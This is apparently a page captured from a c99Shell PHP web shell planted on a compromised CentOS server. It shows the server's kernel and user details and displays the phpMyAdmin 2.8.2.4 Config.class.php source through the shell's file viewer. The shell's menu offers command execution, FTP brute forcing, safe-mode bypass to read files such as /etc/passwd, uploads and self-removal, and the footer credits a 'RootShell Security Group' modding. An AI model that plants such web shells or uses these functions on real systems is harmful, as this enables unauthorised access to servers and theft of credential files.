!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Config.class.php (25.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: Config.class.php,v 1.21.2.18.2.8 2006/08/22 17:00:00 lem9 Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

class PMA_Config
{
    
/**
     * @var string  default config source
     */
    
var $default_source './libraries/config.default.php';

    
/**
     * @var array   configuration settings
     */
    
var $settings = array();

    
/**
     * @var string  config source
     */
    
var $source '';

    
/**
     * @var int     source modification time
     */
    
var $source_mtime 0;
    var 
$default_source_mtime 0;

    
/**
     * @var boolean
     */
    
var $error_config_file false;

    
/**
     * @var boolean
     */
    
var $error_config_default_file false;

    
/**
     * @var boolean
     */
    
var $error_pma_uri false;

    
/**
     * @var array
     */
    
var $default_server = array();

    
/**
     * @var boolean wether init is done or mot
     * set this to false to force some initial checks
     * like checking for required functions
     */
    
var $done false;

    
/**
     * constructor
     *
     * @param   string  source to read config from
     */
    
function __construct($source null)
    {
        
$this->settings = array();

        
// functions need to refresh in case of config file changed goes in
        // PMA_Config::load()
        
$this->load($source);

        
// other settings, independant from config file, comes in
        
$this->checkSystem();

        
$this->checkIsHttps();
    }

    
/**
     * sets system and application settings
     */
    
function checkSystem()
    {
        
$this->set('PMA_VERSION''2.8.2.4');
        
/**
         * @deprecated
         */
        
$this->set('PMA_THEME_VERSION'2);
        
/**
         * @deprecated
         */
        
$this->set('PMA_THEME_GENERATION'2);

        
$this->checkPhpVersion();
        
$this->checkWebServerOs();
        
$this->checkWebServer();
        
$this->checkGd2();
        
$this->checkClient();
        
$this->checkUpload();
        
$this->checkUploadSize();
        
$this->checkOutputCompression();
    }

    
/**
     * wether to use gzip output compression or not
     */
    
function checkOutputCompression()
    {
        
// If zlib output compression is set in the php configuration file, no
        // output buffering should be run
        
if ( @ini_get('zlib.output_compression') ) {
            
$this->set('OBGzip'false);
        }

        
// disable output-buffering (if set to 'auto') for IE6, else enable it.
        
if ( strtolower($this->get('OBGzip')) == 'auto' ) {
            if ( 
$this->get('PMA_USR_BROWSER_AGENT') == 'IE'
              
&& $this->get('PMA_USR_BROWSER_VER') >= 6
              
&& $this->get('PMA_USR_BROWSER_VER') < ) {
                
$this->set('OBGzip'false);
            } else {
                
$this->set('OBGzip'true);
            }
        }
    }

    
/**
     * Determines platform (OS), browser and version of the user
     * Based on a phpBuilder article:
     * @see http://www.phpbuilder.net/columns/tim20000821.php
     */
    
function checkClient()
    {
        if (
PMA_getenv('HTTP_USER_AGENT')) {
            
$HTTP_USER_AGENT PMA_getenv('HTTP_USER_AGENT');
        } elseif (!isset(
$HTTP_USER_AGENT)) {
            
$HTTP_USER_AGENT '';
        }

        
// 1. Platform
        
if (strstr($HTTP_USER_AGENT'Win')) {
            
$this->set('PMA_USR_OS''Win');
        } elseif (
strstr($HTTP_USER_AGENT'Mac')) {
            
$this->set('PMA_USR_OS''Mac');
        } elseif (
strstr($HTTP_USER_AGENT'Linux')) {
            
$this->set('PMA_USR_OS''Linux');
        } elseif (
strstr($HTTP_USER_AGENT'Unix')) {
            
$this->set('PMA_USR_OS''Unix');
        } elseif (
strstr($HTTP_USER_AGENT'OS/2')) {
            
$this->set('PMA_USR_OS''OS/2');
        } else {
            
$this->set('PMA_USR_OS''Other');
        }

        
// 2. browser and version
        // (must check everything else before Mozilla)

        
if (preg_match('@Opera(/| )([0-9].[0-9]{1,2})@'$HTTP_USER_AGENT$log_version)) {
            
$this->set('PMA_USR_BROWSER_VER'$log_version[2]);
            
$this->set('PMA_USR_BROWSER_AGENT''OPERA');
        } elseif (
preg_match('@MSIE ([0-9].[0-9]{1,2})@'$HTTP_USER_AGENT$log_version)) {
            
$this->set('PMA_USR_BROWSER_VER'$log_version[1]);
            
$this->set('PMA_USR_BROWSER_AGENT''IE');
        } elseif (
preg_match('@OmniWeb/([0-9].[0-9]{1,2})@'$HTTP_USER_AGENT$log_version)) {
            
$this->set('PMA_USR_BROWSER_VER'$log_version[1]);
            
$this->set('PMA_USR_BROWSER_AGENT''OMNIWEB');
        
//} elseif (ereg('Konqueror/([0-9].[0-9]{1,2})', $HTTP_USER_AGENT, $log_version)) {
        // Konqueror 2.2.2 says Konqueror/2.2.2
        // Konqueror 3.0.3 says Konqueror/3
        
} elseif (preg_match('@(Konqueror/)(.*)(;)@'$HTTP_USER_AGENT$log_version)) {
            
$this->set('PMA_USR_BROWSER_VER'$log_version[2]);
            
$this->set('PMA_USR_BROWSER_AGENT''KONQUEROR');
        } elseif (
preg_match('@Mozilla/([0-9].[0-9]{1,2})@'$HTTP_USER_AGENT$log_version)
                   && 
preg_match('@Safari/([0-9]*)@'$HTTP_USER_AGENT$log_version2)) {
            
$this->set('PMA_USR_BROWSER_VER'$log_version[1] . '.' $log_version2[1]);
            
$this->set('PMA_USR_BROWSER_AGENT''SAFARI');
        } elseif (
preg_match('@Mozilla/([0-9].[0-9]{1,2})@'$HTTP_USER_AGENT$log_version)) {
            
$this->set('PMA_USR_BROWSER_VER'$log_version[1]);
            
$this->set('PMA_USR_BROWSER_AGENT''MOZILLA');
        } else {
            
$this->set('PMA_USR_BROWSER_VER'0);
            
$this->set('PMA_USR_BROWSER_AGENT''OTHER');
        }
    }

    
/**
     * Whether GD2 is present
     */
    
function checkGd2()
    {
        if ( 
$this->get('GD2Available') == 'yes' ) {
            
$this->set('PMA_IS_GD2'1);
        } elseif ( 
$this->get('GD2Available') == 'no' ) {
            
$this->set('PMA_IS_GD2'0);
        } else {
            if (!@
extension_loaded('gd')) {
                
PMA_dl('gd');
            }
            if (!@
function_exists('imagecreatetruecolor')) {
                
$this->set('PMA_IS_GD2'0);
            } else {
                if (@
function_exists('gd_info')) {
                    
$gd_nfo gd_info();
                    if (
strstr($gd_nfo["GD Version"], '2.')) {
                        
$this->set('PMA_IS_GD2'1);
                    } else {
                        
$this->set('PMA_IS_GD2'0);
                    }
                } else {
                    
/* We must do hard way... */
                    
ob_start();
                    
phpinfo(INFO_MODULES); /* Only modules */
                    
$a strip_tags(ob_get_contents());
                    
ob_end_clean();
                    
/* Get GD version string from phpinfo output */
                    
if (preg_match('@GD Version[[:space:]]*\(.*\)@'$a$v)) {
                        if (
strstr($v'2.')) {
                            
$this->set('PMA_IS_GD2'1);
                        } else {
                            
$this->set('PMA_IS_GD2'0);
                        }
                    } else {
                        
$this->set('PMA_IS_GD2'0);
                    }
                }
            }
        }
    }

    
/**
     * Whether the Web server php is running on is IIS
     */
    
function checkWebServer()
    {
        if (
PMA_getenv('SERVER_SOFTWARE')
          
// some versions return Microsoft-IIS, some Microsoft/IIS
        // we could use a preg_match() but it's slower
          
&& stristr(PMA_getenv('SERVER_SOFTWARE'), 'Microsoft')
          && 
stristr(PMA_getenv('SERVER_SOFTWARE'), 'IIS')) {
            
$this->set('PMA_IS_IIS'1);
        } else {
            
$this->set('PMA_IS_IIS'0);
        }
    }

    
/**
     * Whether the os php is running on is windows or not
     */
    
function checkWebServerOs()
    {
        
// Default to Unix or Equiv
        
$this->set('PMA_IS_WINDOWS'0);
        
// If PHP_OS is defined then continue
        
if (defined('PHP_OS')) {          
            if (
stristr(PHP_OS'win') ) {
                
// Is it some version of Windows
                
$this->set('PMA_IS_WINDOWS'1);
            } elseif (
stristr(PHP_OS'OS/2')) {
                
// Is it OS/2 (No file permissions like Windows)
                
$this->set('PMA_IS_WINDOWS'1);
            }
        }
    }

    
/**
     * detects PHP version
     */
    
function checkPhpVersion()
    {
        
$match = array();
        if ( ! 
preg_match('@([0-9]{1,2}).([0-9]{1,2}).([0-9]{1,2})@',
                
phpversion(), $match) ) {
            
$result preg_match('@([0-9]{1,2}).([0-9]{1,2})@',
                
phpversion(), $match);
        }
        if ( isset( 
$match ) && ! empty( $match[1] ) ) {
            if ( ! isset( 
$match[2] ) ) {
                
$match[2] = 0;
            }
            if ( ! isset( 
$match[3] ) ) {
                
$match[3] = 0;
            }
            
$this->set('PMA_PHP_INT_VERSION',
                (int) 
sprintf('%d%02d%02d'$match[1], $match[2], $match[3]));
        } else {
            
$this->set('PMA_PHP_INT_VERSION'0);
        }
        
$this->set('PMA_PHP_STR_VERSION'phpversion());
    }

    
/**
     * re-init object after loadiong from session file
     * checks config file for changes and relaods if neccessary
     */
    
function __wakeup()
    {
        if (! 
$this->checkConfigSource()
          || 
$this->source_mtime !== filemtime($this->getSource())
          || 
$this->default_source_mtime !== filemtime($this->default_source)
          || 
$this->error_config_file
          
|| $this->error_config_default_file) {
            
$this->settings = array();
            
$this->load();
            
$this->checkSystem();
        }
        
// check for https needs to be done everytime,
        // as https and http uses same session so this info can not be stored
        // in session
        
$this->checkIsHttps();

        
$this->checkCollationConnection();
    }

    
/**
     * loads default values from default source
     *
     * @uses    file_exists()
     * @uses    $this->default_source
     * @uses    $this->error_config_default_file
     * @uses    $this->settings
     * @return  boolean     success
     */
    
function loadDefaults()
    {
        
$cfg = array();
        if ( ! 
file_exists($this->default_source) ) {
            
$this->error_config_default_file true;
            return 
false;
        }
        include 
$this->default_source;

        
$this->default_source_mtime filemtime($this->default_source);

        
$this->default_server $cfg['Servers'][1];
        unset( 
$cfg['Servers'] );

        
$this->settings PMA_array_merge_recursive($this->settings$cfg);

        
$this->error_config_default_file false;

        return 
true;
    }

    
/**
     * loads configuration from $source, usally the config file
     * should be called on object creation and from __wakeup if config file
     * has changed
     *
     * @param   string $source  config file
     */
    
function load($source null)
    {
        
$this->loadDefaults();

        if ( 
null !== $source ) {
            
$this->setSource($source);
        }

        if ( ! 
$this->checkConfigSource() ) {
            return 
false;
        }

        
$cfg = array();

        
/**
         * Parses the configuration file
         */
        
$old_error_reporting error_reporting(0);
        if ( 
function_exists('file_get_contents') ) {
            
$eval_result =
                eval( 
'?>' file_get_contents($this->getSource()) );
        } else {
            
$eval_result =
                eval( 
'?>' implode("\n"file($this->getSource())) );
        }
        
error_reporting($old_error_reporting);

        if ( 
$eval_result === false ) {
            
$this->error_config_file true;
        } else  {
            
$this->error_config_file false;
            
$this->source_mtime filemtime($this->getSource());
        }

        
/**
         * @TODO check validity of $_COOKIE['pma_collation_connection']
         */
        
if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
            
$this->set('collation_connection',
                
strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
            
$this->set('collation_connection',
                
$this->get('DefaultConnectionCollation') );
        }

        
$this->checkCollationConnection();
        
//$this->checkPmaAbsoluteUri();
        
$this->settings PMA_array_merge_recursive($this->settings$cfg);
        return 
true;
    }

    
/**
     * set source
     * @param   string  $source
     */
    
function setSource($source)
    {
        
$this->source trim($source);
    }

    
/**
     * checks if the config folder still exists and terminates app if true
     */
    
function checkConfigFolder()
    {
        
// Refuse to work while there still might be some world writable dir:
        
if (is_dir('./config')) {
            die(
'Remove "./config" directory before using phpMyAdmin!');
        }
    }

    
/**
     * check config source
     *
     * @return  boolean wether source is valid or not
     */
    
function checkConfigSource()
    {
        if (! 
$this->getSource()) {
            
// no configuration file set at all
            
return false;
        }

        if ( ! 
file_exists($this->getSource()) ) {
            
// do not trigger error here
            // https://sf.net/tracker/?func=detail&aid=1370269&group_id=23067&atid=377408
            /*
            trigger_error(
                'phpMyAdmin-ERROR: unkown configuration source: ' . $source,
                E_USER_WARNING);
            */
            
$this->source_mtime 0;
            return 
false;
        }

        if ( ! 
is_readable($this->getSource()) ) {
            
$this->source_mtime 0;
            die(
'Existing configuration file (' $this->getSource() . ') is not readable.');
        }

        
// Check for permissions (on platforms that support it):
        
$perms = @fileperms($this->getSource());
        if (!(
$perms === false) && ($perms 2)) {
            
// This check is normally done after loading configuration
            
$this->checkWebServerOs();
            if (
$this->get('PMA_IS_WINDOWS') == 0) {
                
$this->source_mtime 0;
                die(
'Wrong permissions on configuration file, should not be world writable!');
            }
        }

        return 
true;
    }

    
/**
     * returns specific config setting
     * @param   string  $setting
     * @return  mixed   value
     */
    
function get($setting)
    {
        if ( isset( 
$this->settings[$setting] ) ) {
            return 
$this->settings[$setting];
        }
        return 
null;
    }

    
/**
     * sets configuration variable
     *
     * @uses    $this->settings
     * @param   string  $setting    configuration option
     * @param   string  $value      new value for configuration option
     */
    
function set($setting$value)
    {
        
$this->settings[$setting] = $value;
    }

    
/**
     * returns source for current config
     * @return  string  config source
     */
    
function getSource()
    {
        return 
$this->source;
    }

    
/**
     * old PHP 4 style constructor
     *
     * @deprecated
     */
    
function PMA_Config($source null)
    {
        
$this->__construct($source);
    }

    
/**
     * $cfg['PmaAbsoluteUri'] is a required directive else cookies won't be
     * set properly and, depending on browsers, inserting or updating a
     * record might fail
     */
    
function checkPmaAbsoluteUri()
    {
        
// Setup a default value to let the people and lazy syadmins work anyway,
        // they'll get an error if the autodetect code doesn't work
        
$pma_absolute_uri $this->get('PmaAbsoluteUri');
        if ( 
strlen($pma_absolute_uri) < ) {
            
$url = array();

            
// At first we try to parse REQUEST_URI, it might contain full URI
            
if (PMA_getenv('REQUEST_URI')) {
                
$url parse_url(PMA_getenv('REQUEST_URI'));
            }

            
// If we don't have scheme, we didn't have full URL so we need to
            // dig deeper
            
if ( empty( $url['scheme'] ) ) {
                
// Scheme
                
if (PMA_getenv('HTTP_SCHEME')) {
                    
$url['scheme'] = PMA_getenv('HTTP_SCHEME');
                } else {
                    
$url['scheme'] =
                        
PMA_getenv('HTTPS') && strtolower(PMA_getenv('HTTPS')) != 'off'
                            
'https'
                            
'http';
                }

                
// Host and port
                
if (PMA_getenv('HTTP_HOST')) {
                    if (
strpos(PMA_getenv('HTTP_HOST'), ':') !== false) {
                        list( 
$url['host'], $url['port'] ) =
                            
explode(':'PMA_getenv('HTTP_HOST'));
                    } else {
                        
$url['host'] = PMA_getenv('HTTP_HOST');
                    }
                } elseif (
PMA_getenv('SERVER_NAME')) {
                    
$url['host'] = PMA_getenv('SERVER_NAME');
                } else {
                    
$this->error_pma_uri true;
                    return 
false;
                }

                
// If we didn't set port yet...
                
if (empty($url['port']) && PMA_getenv('SERVER_PORT')) {
                    
$url['port'] = PMA_getenv('SERVER_PORT');
                }

                
// And finally the path could be already set from REQUEST_URI
                
if ( empty( $url['path'] ) ) {
                    if (
PMA_getenv('PATH_INFO')) {
                        
$path parse_url(PMA_getenv('PATH_INFO'));
                    } else {
                        
// PHP_SELF in CGI often points to cgi executable, so use it
                        // as last choice
                        
$path parse_url(PMA_getenv('PHP_SELF'));
                    }
                    
$url['path'] = $path['path'];
                }
            }

            
// Make url from parts we have
            
$pma_absolute_uri $url['scheme'] . '://';
            
// Was there user information?
            
if (!empty($url['user'])) {
                
$pma_absolute_uri .= $url['user'];
                if (!empty(
$url['pass'])) {
                    
$pma_absolute_uri .= ':' $url['pass'];
                }
                
$pma_absolute_uri .= '@';
            }
            
// Add hostname
            
$pma_absolute_uri .= $url['host'];
            
// Add port, if it not the default one
            
if ( ! empty( $url['port'] )
              && ( ( 
$url['scheme'] == 'http' && $url['port'] != 80 )
                || ( 
$url['scheme'] == 'https' && $url['port'] != 443 ) ) ) {
                
$pma_absolute_uri .= ':' $url['port'];
            }
            
// And finally path, without script name, the 'a' is there not to
            // strip our directory, when path is only /pmadir/ without filename.
            // Backslashes returned by Windows have to be changed.
            // Only replace backslashes by forward slashes if on Windows,
            // as the backslash could be valid on a non-Windows system.
            
if ($this->get('PMA_IS_WINDOWS') == 1) {
                
$path str_replace("\\""/"dirname($url['path'] . 'a'));
            } else {
                
$path dirname($url['path'] . 'a');
            }

            
// To work correctly within transformations overview:
            
if (defined('PMA_PATH_TO_BASEDIR') && PMA_PATH_TO_BASEDIR == '../../') {
                if (
$this->get('PMA_IS_WINDOWS') == 1) {
                    
$path str_replace("\\""/"dirname(dirname($path)));
                } else {
                    
$path dirname(dirname($path));
                }
            }
            
// in vhost situations, there could be already an ending slash
            
if (substr($path, -1) != '/') {
                
$path .= '/';
            }
            
$pma_absolute_uri .= $path;

            
// We used to display a warning if PmaAbsoluteUri wasn't set, but now
            // the autodetect code works well enough that we don't display the
            // warning at all. The user can still set PmaAbsoluteUri manually.
            // See
            // http://sf.net/tracker/?func=detail&aid=1257134&group_id=23067&atid=377411

        
} else {
            
// The URI is specified, however users do often specify this
            // wrongly, so we try to fix this.

            // Adds a trailing slash et the end of the phpMyAdmin uri if it
            // does not exist.
            
if (substr($pma_absolute_uri, -1) != '/') {
                
$pma_absolute_uri .= '/';
            }

            
// If URI doesn't start with http:// or https://, we will add
            // this.
            
if ( substr($pma_absolute_uri07) != 'http://'
              
&& substr($pma_absolute_uri08) != 'https://' ) {
                
$pma_absolute_uri =
                    (
PMA_getenv('HTTPS') && strtolower(PMA_getenv('HTTPS')) != 'off'
                        
'https'
                        
'http')
                    . 
':' . (substr($pma_absolute_uri02) == '//' '' '//')
                    . 
$pma_absolute_uri;
            }
        }

        
$this->set('PmaAbsoluteUri'$pma_absolute_uri);
    }

    
/**
     * check selected collation_connection
     * @TODO check validity of $_REQUEST['collation_connection']
     */
    
function checkCollationConnection()
    {
        
// (could be improved by executing it after the MySQL connection only if
        //  PMA_MYSQL_INT_VERSION >= 40100 )
        
if ( ! empty( $_REQUEST['collation_connection'] ) ) {
            
$this->set('collation_connection',
                
strip_tags($_REQUEST['collation_connection']) );
        }
    }

    
/**
     * checks if upload is enabled
     *
     */
    
function checkUpload()
    {
        
$this->set('enable_upload'true);
        if ( 
strtolower(@ini_get('file_uploads')) == 'off'
          
|| @ini_get('file_uploads') == ) {
            
$this->set('enable_upload'false);
        }
    }

    
/**
     * Maximum upload size as limited by PHP
     * Used with permission from Moodle (http://moodle.org) by Martin Dougiamas
     *
     * this section generates $max_upload_size in bytes
     */
    
function checkUploadSize()
    {
        if ( ! 
$filesize ini_get('upload_max_filesize') ) {
            
$filesize "5M";
        }

        if ( 
$postsize ini_get('post_max_size') ) {
            
$this->set('max_upload_size',
                
min(get_real_size($filesize), get_real_size($postsize)) );
        } else {
            
$this->set('max_upload_size'get_real_size($filesize));
        }
    }

    
/**
     * check for https
     */
    
function checkIsHttps()
    {
        
$this->set('is_https'PMA_Config::isHttps());
    }

    
/**
     * @static
     */
    
function isHttps()
    {
        
$is_https false;

        
$url = array();

        
// At first we try to parse REQUEST_URI, it might contain full URI
        
if (PMA_getenv('REQUEST_URI')) {
            
$url parse_url(PMA_getenv('REQUEST_URI'));
        }

        
// If we don't have scheme, we didn't have full URL so we need to
        // dig deeper
        
if ( empty( $url['scheme'] ) ) {
            
// Scheme
            
if (PMA_getenv('HTTP_SCHEME')) {
                
$url['scheme'] = PMA_getenv('HTTP_SCHEME');
            } else {
                
$url['scheme'] =
                    
PMA_getenv('HTTPS') && strtolower(PMA_getenv('HTTPS')) != 'off'
                        
'https'
                        
'http';
            }
        }

        if ( isset( 
$url['scheme'] )
          && 
$url['scheme'] == 'https' ) {
            
$is_https true;
        } else {
            
$is_https false;
        }

        return 
$is_https;
    }

    
/**
     * detect correct cookie path
     */
    
function checkCookiePath()
    {
        
$this->set('cookie_path'PMA_Config::getCookiePath());
    }

    
/**
     * @static
     */
    
function getCookiePath()
    {
        static 
$cookie_path null;

        if ( 
null !== $cookie_path ) {
            return 
$cookie_path;
        }

        
$url '';

        if (
PMA_getenv('REQUEST_URI')) {
            
$url PMA_getenv('REQUEST_URI');
        }

        
// If we don't have path
        
if (empty($url)) {
            if (
PMA_getenv('PATH_INFO')) {
                
$url PMA_getenv('PATH_INFO');
            } elseif (
PMA_getenv('PHP_SELF')) {
                
// PHP_SELF in CGI often points to cgi executable, so use it
                // as last choice
                
$url PMA_getenv('PHP_SELF');
            } elseif (
PMA_getenv('SCRIPT_NAME')) {
                
$url PMA_getenv('PHP_SELF');
            }
        }

        
$url parse_url($url);
        
        
$cookie_path   substr($url['path'], 0strrpos($url['path'], '/'))  . '/';

        return 
$cookie_path;
    }

    
/**
     * enables backward compatibility
     */
    
function enableBc()
    {
        
$GLOBALS['cfg']             =& $this->settings;
        
$GLOBALS['default_server']  =& $this->default_server;
        
$GLOBALS['collation_connection'] = $this->get('collation_connection');
        
$GLOBALS['is_upload']       = $this->get('enable_upload');
        
$GLOBALS['max_upload_size'] = $this->get('max_upload_size');
        
$GLOBALS['cookie_path']     = $this->get('cookie_path');
        
$GLOBALS['is_https']        = $this->get('is_https');

        
$defines = array(
            
'PMA_VERSION',
            
'PMA_THEME_VERSION',
            
'PMA_THEME_GENERATION',
            
'PMA_PHP_STR_VERSION',
            
'PMA_PHP_INT_VERSION',
            
'PMA_IS_WINDOWS',
            
'PMA_IS_IIS',
            
'PMA_IS_GD2',
            
'PMA_USR_OS',
            
'PMA_USR_BROWSER_VER',
            
'PMA_USR_BROWSER_AGENT',
             );

        foreach ( 
$defines as $define ) {
            if ( ! 
defined($define) ) {
                
define($define$this->get($define));
            }
        }
    }

    
/**
     * @todo finish
     */
    
function save() {}
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0215 ]--